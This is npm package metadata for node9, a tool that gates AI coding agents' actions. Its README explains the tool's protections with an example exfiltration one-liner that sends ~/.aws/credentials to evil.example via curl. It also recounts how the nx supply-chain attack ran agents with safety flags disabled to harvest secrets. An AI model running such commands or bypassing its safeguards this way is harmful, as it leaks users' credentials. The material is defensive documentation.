40:59.240Z","1.9.1":"2026-04-11T15:38:55.044Z","1.9.2":"2026-04-11T16:08:17.469Z","1.9.3":"2026-04-13T09:10:18.749Z","1.10.0":"2026-04-15T09:26:18.927Z","1.10.1":"2026-04-16T10:14:51.191Z","1.10.2":"2026-04-16T16:47:30.395Z","1.10.3":"2026-04-17T10:01:25.640Z","1.11.0":"2026-04-17T10:43:12.177Z","1.11.1":"2026-04-18T15:59:58.138Z","1.11.2":"2026-04-18T16:51:38.790Z","1.11.3":"2026-04-19T07:52:04.184Z","1.11.4":"2026-04-22T13:35:37.623Z","1.11.5":"2026-04-22T13:54:14.646Z","1.11.6":"2026-04-22T14:03:08.582Z","1.11.7":"2026-04-22T14:13:03.876Z","1.11.8":"2026-04-22T14:27:56.994Z","1.11.9":"2026-04-22T14:38:13.441Z","1.11.10":"2026-04-22T14:58:53.919Z","1.11.11":"2026-04-22T15:32:05.114Z","1.11.12":"2026-04-23T15:55:59.692Z","1.11.13":"2026-04-23T18:32:17.849Z","1.12.0":"2026-04-24T08:45:14.189Z","1.12.1":"2026-04-24T10:16:22.340Z","1.12.2":"2026-04-24T15:59:50.044Z","1.12.3":"2026-04-24T16:37:39.628Z","1.12.4":"2026-04-24T19:37:30.566Z","1.12.5":"2026-04-24T21:25:31.787Z","1.12.6":"2026-04-24T22:26:27.698Z","1.12.7":"2026-04-25T10:18:07.136Z","1.12.8":"2026-04-25T10:58:28.741Z","1.12.9":"2026-04-25T11:15:29.322Z","1.12.10":"2026-04-25T11:39:39.780Z","1.12.11":"2026-04-25T14:17:57.315Z","1.13.0":"2026-04-26T08:30:32.194Z","1.13.1":"2026-04-26T11:42:46.170Z","1.14.0":"2026-04-27T07:08:35.607Z","1.14.1":"2026-04-28T10:38:02.924Z","1.15.0":"2026-04-30T09:15:56.432Z","1.16.0":"2026-04-30T09:35:42.401Z","1.17.0":"2026-05-03T09:52:15.893Z","1.18.0":"2026-05-05T12:24:58.424Z","1.18.1":"2026-05-05T15:51:00.945Z","1.18.2":"2026-05-05T16:04:51.672Z","1.18.3":"2026-05-06T05:14:36.271Z","1.19.0":"2026-05-06T12:02:57.258Z","1.19.1":"2026-05-06T18:25:25.179Z","1.19.2":"2026-05-07T20:35:37.184Z","1.19.3":"2026-05-09T17:24:30.543Z","1.19.4":"2026-05-10T09:09:35.387Z","1.20.0":"2026-05-12T16:06:25.621Z","1.20.1":"2026-05-12T17:18:59.313Z","1.21.0":"2026-05-13T15:09:28.198Z","1.21.1":"2026-05-13T16:04:48.971Z","1.21.2":"2026-05-13T21:34:42.405Z","1.21.3":"2026-05-14T05:12:09.823Z","1.21.4":"2026-05-14T05:20:28.986Z","1.21.5":"2026-05-14T05:40:19.350Z","1.22.0":"2026-05-17T11:22:38.042Z","1.23.0":"2026-05-17T13:10:08.861Z","1.24.0":"2026-05-20T19:31:44.770Z","1.24.1":"2026-05-20T19:59:05.409Z","1.24.2":"2026-05-21T08:10:19.680Z","1.24.3":"2026-05-21T08:48:11.616Z","1.25.0":"2026-05-21T11:22:41.673Z","1.26.0":"2026-05-21T20:04:30.253Z","1.26.1":"2026-05-21T20:24:19.645Z","1.26.2":"2026-05-22T06:05:17.719Z","1.26.3":"2026-05-22T06:22:21.142Z","1.27.0":"2026-05-24T17:04:25.260Z","1.27.1":"2026-05-25T21:12:01.550Z","1.28.0":"2026-05-27T16:38:50.331Z","1.29.0":"2026-06-07T06:22:46.111Z","1.30.0":"2026-06-07T17:51:58.540Z","1.31.0":"2026-06-07T21:03:34.737Z","1.32.0":"2026-06-09T10:20:39.255Z","1.33.0":"2026-06-13T08:05:41.976Z","1.34.0":"2026-06-14T11:57:49.501Z","1.35.0":"2026-06-15T06:07:41.878Z","1.35.1":"2026-06-15T06:39:13.549Z","1.35.2":"2026-06-15T11:44:08.988Z","1.36.0":"2026-06-15T17:24:39.077Z","1.37.0":"2026-06-17T18:05:42.868Z","1.38.0":"2026-06-18T08:57:07.742Z","1.39.0":"2026-06-18T16:14:09.503Z","1.40.0":"2026-06-22T15:37:00.533Z","1.41.0":"2026-06-26T05:12:50.390Z","1.42.0":"2026-06-26T06:23:36.554Z","1.43.0":"2026-06-27T10:20:04.292Z","1.44.0":"2026-06-27T20:00:30.001Z","1.45.0":"2026-06-28T11:54:14.307Z","1.46.0":"2026-06-29T07:18:29.894Z","1.47.0":"2026-06-29T08:44:52.353Z","1.48.0":"2026-06-29T09:19:39.520Z","1.49.0":"2026-06-29T12:05:44.879Z","1.50.0":"2026-06-29T19:49:39.299Z","1.51.0":"2026-06-29T19:59:17.715Z","1.52.0":"2026-06-30T04:23:48.252Z","1.53.0":"2026-06-30T08:34:42.797Z","1.54.0":"2026-06-30T12:38:47.219Z","1.55.0":"2026-06-30T17:56:44.510Z","1.55.1":"2026-06-30T19:28:50.174Z","1.56.0":"2026-07-05T13:30:55.517Z","1.57.0":"2026-07-05T20:01:43.313Z","1.58.0":"2026-07-07T05:01:05.315Z","1.58.1":"2026-07-07T06:28:00.225Z","1.58.2":"2026-07-07T10:06:02.145Z","1.58.3":"2026-07-07T11:08:39.377Z","1.58.4":"2026-07-07T16:07:39.513Z","1.58.5":"2026-07-07T16:37:39.579Z","1.59.0":"2026-07-10T19:49:34.930Z","1.60.0":"2026-07-12T19:20:15.265Z","1.61.0":"2026-07-13T06:11:35.868Z","1.61.1":"2026-07-14T15:30:13.663Z","1.62.0":"2026-07-16T19:35:17.924Z","1.62.1":"2026-07-16T20:48:31.322Z","1.63.0":"2026-07-17T11:57:38.628Z","1.64.0":"2026-07-24T14:51:52.903Z","1.65.0":"2026-07-24T20:33:03.751Z","1.65.1":"2026-07-25T09:07:15.886Z","1.66.0":"2026-07-25T19:43:08.292Z","1.67.0":"2026-07-26T14:41:40.103Z","1.67.1":"2026-07-27T12:32:08.649Z","1.67.2":"2026-08-20T10:40:59.292Z","1.67.3":"2026-08-20T11:21:27.748Z","1.67.4":"2026-08-21T19:48:45.749Z","1.67.5":"2026-08-22T14:35:06.937Z","2.0.0":"2026-08-22T19:04:05.516Z","2.1.0":"2026-08-28T10:39:59.981Z","2.2.0":"2026-08-28T12:27:38.428Z","2.2.1":"2026-08-28T15:28:32.989Z","2.2.2":"2026-08-28T18:30:44.143Z","2.3.0":"2026-08-29T06:39:06.285Z","2.3.1":"2026-08-29T07:18:52.491Z","2.4.0":"2026-08-29T15:14:57.880Z","2.5.0":"2026-08-29T21:21:45.783Z","2.6.1":"2026-08-30T21:18:01.474Z","2.6.2":"2026-09-01T13:44:52.869Z","2.7.0":"2026-09-01T17:59:01.432Z","2.7.1":"2026-09-01T20:27:44.341Z","2.7.2":"2026-09-02T05:34:04.963Z","2.7.3":"2026-09-02T18:48:49.933Z","2.7.4":"2026-09-02T19:18:01.376Z","2.7.5":"2026-09-03T08:21:29.778Z","2.8.0":"2026-09-03T11:06:07.168Z","2.8.1":"2026-09-03T15:46:19.534Z","2.8.2":"2026-09-03T21:54:30.327Z","2.8.3":"2026-09-04T10:07:47.040Z","2.8.4":"2026-09-05T12:31:01.367Z","2.8.5":"2026-09-05T18:09:00.638Z","2.9.0":"2026-09-08T07:38:36.109Z","2.9.1":"2026-09-08T08:54:25.717Z","2.9.2":"2026-09-08T11:50:11.863Z","2.9.3":"2026-09-08T12:56:22.037Z","2.10.0":"2026-09-08T16:57:54.811Z","2.11.0":"2026-09-08T17:29:57.122Z","2.12.0":"2026-09-09T05:20:46.009Z","2.13.0":"2026-09-09T20:38:33.664Z","2.13.1":"2026-09-11T19:36:18.136Z","2.14.0":"2026-09-13T06:56:02.265Z","2.14.1":"2026-09-14T05:14:55.405Z","2.14.2":"2026-09-14T10:34:03.054Z","2.14.3":"2026-09-16T10:01:06.067Z","2.15.0":"2026-09-17T05:41:17.299Z","2.16.0":"2026-09-20T13:44:19.925Z","2.16.1":"2026-09-20T18:43:48.306Z","2.16.2":"2026-09-20T19:31:01.290Z","2.17.0":"2026-09-21T09:34:33.880Z","2.18.0":"2026-09-21T14:09:09.101Z","2.19.0":"2026-09-21T16:04:59.825Z","2.19.1":"2026-09-22T11:21:34.818Z","2.19.2":"2026-09-22T14:31:58.405Z","2.20.0":"2026-09-22T21:17:12.570Z","2.21.0":"2026-09-23T07:36:25.561Z","2.22.0":"2026-09-24T10:20:47.296Z","2.22.1":"2026-09-24T11:53:52.469Z","2.23.0":"2026-09-24T18:09:33.846Z","2.23.1":"2026-09-24T19:22:20.044Z","2.23.2":"2026-09-25T00:32:20.440Z","2.23.3":"2026-09-25T16:06:23.177Z","2.24.0":"2026-09-25T21:55:44.571Z","2.24.1":"2026-09-26T00:14:02.169Z","2.24.2":"2026-09-26T10:34:35.577Z","2.25.0":"2026-09-27T14:03:35.886Z","2.25.1":"2026-09-27T19:13:47.754Z","2.26.0":"2026-09-29T08:15:05.974Z","2.26.1":"2026-09-29T10:10:12.853Z","2.26.2":"2026-09-29T13:05:35.187Z"},"bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","homepage":"https://github.com/node9-ai/node9-proxy#readme","keywords":["ai-security","agent-security","agentic-ai","ai-agent","access-control","iam","agent-permissions","mcp","mcp-security","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","copilot-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","antigravity","security-proxy","dlp","prompt-injection","human-in-the-loop","hitl"],"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"description":"Access control for AI agents. Set what Claude Code, Codex, Gemini, Cursor and any MCP server are allowed to do, review risky actions before they run, and keep every action on the record.","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"readme":"<h1 align=\"center\">🛡️ node9</h1>\n<p align=\"center\">Access control for AI agents</p>\n<p align=\"center\"><strong>Your AI agents can reach Slack, GitHub, email, and your database.<br />node9 decides what they may do with each one.</strong></p>\n<p align=\"center\">\n  <a href=\"https://www.npmjs.com/package/node9-ai\"><img src=\"https://img.shields.io/npm/v/node9-ai.svg\" alt=\"npm version\" /></a>\n  <a href=\"https://www.npmjs.com/package/node9-ai\"><img src=\"https://img.shields.io/npm/dm/node9-ai.svg\" alt=\"monthly downloads\" /></a>\n  <a href=\"https://opensource.org/licenses/Apache-2.0\"><img src=\"https://img.shields.io/badge/License-Apache%202.0-blue.svg\" alt=\"License: Apache 2.0\" /></a>\n  <a href=\"https://node9.ai/docs\"><img src=\"https://img.shields.io/badge/docs-node9.ai-blue\" alt=\"Documentation\" /></a>\n  <a href=\"https://www.bestpractices.dev/projects/14454\"><img src=\"https://www.bestpractices.dev/projects/14454/badge\" alt=\"OpenSSF Best Practices\" /></a>\n  <a href=\"https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy\"><img src=\"https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge\" alt=\"OpenSSF Scorecard\" /></a>\n  <a href=\"https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml\"><img src=\"https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K\" alt=\"node9 self-scanned\" /></a>\n  <a href=\"https://github.com/hesreallyhim/awesome-claude-code\"><img src=\"https://awesome.re/mentioned-badge-flat.svg\" alt=\"Mentioned in Awesome Claude Code\" /></a>\n</p>\n\n**Credential jail** · **secrets and PII** · **destructive git, SQL and shell held for review** ·\n**MCP tool pinning** · **network egress allowlist** · **loop breaker** · **one record across twelve agents**\n\nWorks with **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server**.\n\n## What it looks like\n\nA real Claude Code session with node9 installed. Every tool call is checked\nbefore it runs. Building a page and editing a button run. A request to the cloud\nmetadata address is blocked, and the agent gets the reason and carries on.\nDeleting files waits for your approval, right in the chat.\n\n<p align=\"center\">\n  <img src=\"https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c\" width=\"760\" alt=\"node9 in a Claude Code session: two calls allowed, one blocked, one held for approval\" />\n</p>\n\n## Install\n\n```bash\nbrew tap node9-ai/node9 && brew install node9   # macOS / Linux\nnpm install -g node9-ai                         # any platform\n```\n\nThen, in any project:\n\n```bash\nnode9            # first run: choose dashboard connection or local protection\nnode9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run\nnode9 login      # optional: adds this machine to a shared dashboard\n```\n\nRequires Node.js 22+.\n\nOn a new interactive terminal, `node9` guides you through setup. Local protection\nneeds no account. The checklist shows recommended shields, DLP/PII, optional\nnetwork egress review, and the background service. Usage statistics are sent\nonly if you accept the separate prompt. The summary lists configured agents\nand any setup steps that need attention.\n\nRun `node9 setup` to revisit setup, or `node9 setup <target>` to configure one agent.\nOnce configured, bare `node9` shows help. `node9 init` remains available; for\nscripts use `node9 init --recommended` (no questions and no telemetry opt-in).\n`--skip-setup` leaves agent wiring and service installation alone. Explicit\n`--mode` takes precedence over the checklist's standard-mode recommendation.\nExisting settings are preserved unless selected changes or explicit flags request\nan update. Workspace policy is managed in the dashboard; service settings remain local.\n\n**`login` adds nothing to enforcement.** It connects the machine to a workspace so\na team can see one record across everyone's laptops and CI, set policy centrally,\nand approve held actions from a dashboard or Slack. Skip it and node9 works exactly\nthe same, alone, offline. `node9 logout` disconnects again and local enforcement\nkeeps running.\n\n## The problem\n\nIn August 2025, compromised releases of the\n[`nx` build tool](https://github.com/advisories/GHSA-cxm3-wv7p-598c) shipped a post-install\nscript that looked for AI coding agents already installed on the developer's machine, then ran\nthem with their own safety flags turned off (`--dangerously-skip-permissions`, `--yolo`,\n`--trust-all-tools`) to enumerate SSH keys, cloud credentials and wallet files and write the list\nto disk. The script pushed the results to public repositories inside the victims' own GitHub\naccounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm\ntokens and roughly 20,000 files, from machines where the agent was doing exactly what it was\ntold.\n\nThe agent was not the attacker. The agent was the tool, and nothing stood between it and the\nfiles. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays\nheld even when the agent was started with permissions skipped.\n\n## What node9 does about it\n\nnode9 sits between the agent and every tool it calls. The credential jail (`~/.ssh`, `~/.aws`,\n`.env` files, private keys) is on by default, and a read of one of those paths does not run.\nThe agent is stopped, told why, and the decision comes to you:\n\n```text\nNODE9: Action blocked by security policy.\nINSTRUCTIONS:\n- Do NOT retry this exact command or attempt to bypass the rule.\n- Pivot to a non-destructive or read-only alternative.\n- Inform the user which security rule was triggered and ask how to proceed.\n```\n\nThe command is parsed as a shell AST, not matched as text, so wrapping the read does not help.\n`echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` is judged as a read\nof `~/.aws/credentials`, not as an `echo`.\n\nnode9 is a **gate**. A held action does not run while it waits for you, and if you never answer\nit stays blocked. Everything else is allowed and written to the record.\n\n**What it does not do:** with egress control off, which is the default, a command that hands a\nfile straight to the network, such as `curl -d @~/.aws/credentials`, is not treated as a read of\nthat file. `node9 egress protect` gates destinations as well, and it covers shell commands only.\n\n## Verify it yourself\n\nNothing below needs an account, and nothing uploads.\n\n```bash\nnpx node9-ai scan                                        # every past agent session on this machine\nnpx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow\ngh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed\n```\n\n<p align=\"center\">\n  <img src=\"https://github.com/user-attachments/assets/7c5b30f1-1ca1-40b4-bfd5-d6671002e98e\" width=\"720\" alt=\"node9 scan scorecard\" />\n</p>\n\n## What it governs\n\nEach line is one capability, with the page that documents it. The docs are the\nreference; this file is the map.\n\n|                             |                                                                                                                                                |                                                  |\n| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |\n| **Credential jail**         | `~/.ssh`, `~/.aws`, `.env` and private keys are blocked from every tool, not just the shell                                                    | [docs](https://node9.ai/docs/shields)            |\n| **Always-on rules**         | destructive git, SQL without a `WHERE`, `curl \\| bash` and unauthorised `sudo`, with no config                                                 | [docs](https://node9.ai/docs/smart-rules)        |\n| **Secrets and PII**         | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | [docs](https://node9.ai/docs/dlp)                |\n| **Per-service shields**     | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem                                            | [docs](https://node9.ai/docs/shields)            |\n| **Inline review**           | a held action asks you inside the agent conversation, or through a team approver                                                               | [docs](https://node9.ai/docs/cloud-policy)       |\n| **Egress allowlist**        | gate where a shell command may send data, off by default                                                                                       | [docs](https://node9.ai/docs/egress)             |\n| **MCP gateway**             | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back                             | [docs](https://node9.ai/docs/mcp-gateway)        |\n| **Sandbox**                 | run an agent in a container with a kernel egress allowlist and scoped mounts                                                                   | [docs](https://node9.ai/docs/sandbox)            |\n| **Posture score**           | how exposed this machine is, with the command that fixes each finding                                                                          | [docs](https://node9.ai/docs/posture)            |\n| **Repo scanning**           | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI                                          | [docs](https://node9.ai/docs/repo-scanning)      |\n| **Session history**         | read what every agent already did on this machine, before node9 was installed                                                                  | [docs](https://node9.ai/docs/sessions)           |\n| **Live monitor and report** | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius                                                           | [docs](https://node9.ai/docs/report)             |\n| **Skills pinning**          | SHA-256 verification of installed Claude skills and plugins between sessions                                                                   | [docs](https://node9.ai/docs/skill-pinning)      |\n| **Canary credentials**      | planted fake keys that prove an exfiltration attempt happened                                                                                  | [docs](https://node9.ai/docs/canary-credentials) |\n| **Python SDK**              | govern any Python agent, not only the CLIs                                                                                                     | [docs](https://node9.ai/docs/python-sdk)         |\n\nFull CLI and config reference: **[node9.ai/docs](https://node9.ai/docs)**.\nHow the layers fit together: **[how it works](https://node9.ai/docs/how-it-works)**.\n\n## Learn\n\nBackground reading, written to stand on its own. Each page says what node9 does not cover.\n\n- **[What can a hijacked agent do?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: the blast radius of one compromised session\n- **[How an AI agent leaks a secret](https://node9.ai/learn/ai-agent-secret-exfiltration)**: the paths a credential actually takes out\n- **[Claude Code security](https://node9.ai/learn/claude-code-security)**: hooks, permission modes, and what they do not stop\n- **[MCP security](https://node9.ai/learn/mcp-security)**: the tool surface an MCP server opens\n- **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: the list, mapped to real controls\n\n## Compare\n\n- **[node9 against the alternatives](https://node9.ai/compare)**: a matrix, including the rows where node9 scores worse\n- **[Per-agent coverage](https://node9.ai/agents)**: what is governed on each of the twelve supported agents\n\n## Related projects\n\n- **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK\n- **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: the GitHub Action, `uses: node9-ai/node9-proxy@v2`, gates every PR with the same engine\n\n## Enterprise\n\n**node9 Pro** adds governance locking, SAML/SSO, central audit export, and VPC deployment. See [node9.ai](https://node9.ai).\n\n## License\n\nApache-2.0\n\n<p align=\"center\">\n  <sub>Built with ☕ and healthy paranoia.</sub>\n</p>\n","readmeFilename":"README.md"}